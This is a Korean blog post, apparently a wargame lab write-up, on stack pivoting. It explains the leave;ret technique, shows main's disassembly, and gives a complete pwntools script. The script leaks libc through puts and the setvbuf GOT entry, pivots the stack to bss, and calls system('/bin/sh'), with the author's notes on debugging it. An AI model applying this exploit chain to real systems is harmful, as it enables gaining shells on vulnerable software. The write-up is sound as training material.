LAB 6

728x90

Mitigation

Code

Stack pivot?

간단한 gadget을 이용하거나 EAX, RAX의 값을 변경(gadger)해 stack 또는 코드의 흐름을 변경하는 기술

gadget을 이용하여 특정 공간에 Fake Stack을 구성해 놓고 Chaining을 하는 기법

특정 영역에 값을 쓸 수 있거나 값이 있는 경우 SFP를 족쳐서 스택을 옮기고 해당 부분의 코드를 실행하는 기법

leave_ret을 이용한 stack pivoting을 하기 위한 전제 조건

페이로드가 저장되어 있는 영역이 존재할 경우 ret까지만 overflow가 발생

페이로드가 저장되어 있는 영역이 없는 경우 입력함수 + leave_ret을 넣을 수 있을 만큼 overflow 발생

일반적으로 stack pivoting을 사용하는 경우

overflow가 많이 나지 않는 경우

main으로 돌아갈 수 없는 경우 (seccomp 등)

Exploit 방법

  1. SFP 부분에 실행을 원하는 주소 -8을 넣는다.
  2. 입력 함수를 RTL로 호출해서 bss 영역에 값을 입력 받도록 한다. (페이로드 입력)
  3. 다음 실행할 명령의 주소에 leave_ret 가젯을 넣는다.
Dump of assembler code for function main:
   0x080484ab <+0>:	push   ebp
   0x080484ac <+1>:	mov    ebp,esp
   0x080484ae <+3>:	sub    esp,0x28
   0x080484b1 <+6>:	mov    eax,ds:0x804a008
   0x080484b6 <+11>:	cmp    eax,0x539
   0x080484bb <+16>:	je     0x80484c4 <main+25>
   0x080484bd <+18>:	push   0x1
   0x080484bf <+20>:	call   0x8048388
   0x080484c4 <+25>:	mov    eax,ds:0x804a008
   0x080484c9 <+30>:	add    eax,0x1
   0x080484cc <+33>:	mov    ds:0x804a008,eax
   0x080484d1 <+38>:	mov    eax,ds:0x804a00c
   0x080484d6 <+43>:	push   0x0
   0x080484d8 <+45>:	push   0x2
   0x080484da <+47>:	push   0x0
   0x080484dc <+49>:	push   eax
   0x080484dd <+50>:	call   0x80483a8
   0x080484e2 <+55>:	add    esp,0x10
   0x080484e5 <+58>:	push   0x8048590
   0x080484ea <+63>:	call   0x8048390
   0x080484ef <+68>:	add    esp,0x4
   0x080484f2 <+71>:	push   0x40
   0x080484f4 <+73>:	lea    eax,[ebp-0x28]
   0x080484f7 <+76>:	push   eax
   0x080484f8 <+77>:	push   0x0
   0x080484fa <+79>:	call   0x8048380
=> 0x080484ff <+84>:	add    esp,0xc
   0x08048502 <+87>:	nop
   0x08048503 <+88>:	nop
   0x08048504 <+89>:	leave  
   0x08048505 <+90>:	ret    
End of assembler dump.

 

Exploit

from pwn import *
#context.log_level = 'debug'

p = process('./migration')
e = ELF('./migration')
libc = e.libc
leaveret=0x08048504
popret = 0x804836d
pop3ret = 0x8048569
bss = 0x804a000+0x400
setvbuf_got = 0x08049ffc
read_plt = 0x080484f2
puts_plt = e.plt['puts']

payload = "A"*40
payload += p32(bss) # $ebp
#leak libc_base
payload += p32(puts_plt)
payload += p32(popret)
payload += p32(setvbuf_got)
payload += p32(read_plt)

p.sendafter('best :\n', payload)
leak_got = u32(p.recv(4))
p.recv()
libc_base = leak_got - libc.symbols['setvbuf']
log.info('setvbuf_got : 0x%x' % leak_got)
log.info('libc_base : 0x%x' % libc_base)
log.info('bss : 0x%x' % bss)
log.info('read_plt : 0x%x' % read_plt)

system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search('/bin/sh\x00'))[0]

payload1 = "B"*44
payload1 += p32(system)
payload1 += "A"*4
payload1 += p32(binsh)
p.send(payload1)
p.interactive()

 

문제 풀고 느낀점

  1. Stack Pivot의 개념은 들어봤지만 실제로 익스를 한건 처음
  2. 계속 삽질하다가 write-up을 봤음
  3. read_plt 부분을 보면 주소값이 있는데, 나는 실제 plt를 계속 썼었음.(e.plt['read') 하지만 계속 익스가 되지 않았고 write-up을 본 결과 Disassembly에서 read를 호출하는 부분을 직접적으로 썼음 → 이 부분에서 다양한 시도를 해봐야겠다는 생각을 하였으며 좀더 공부해야겠다는 생각이 들었다.
  4. 이 부분에서 read_plt['read']로 계속 해서 안됬었음(삽질), e.plt['read'] → disassembly의 read로 하니 한번에 해결
payload = "A"*40
payload += p32(bss) # $ebp
#leak libc_base
payload += p32(puts_plt)
payload += p32(popret)
payload += p32(setvbuf_got)
payload += p32(read_plt)
728x90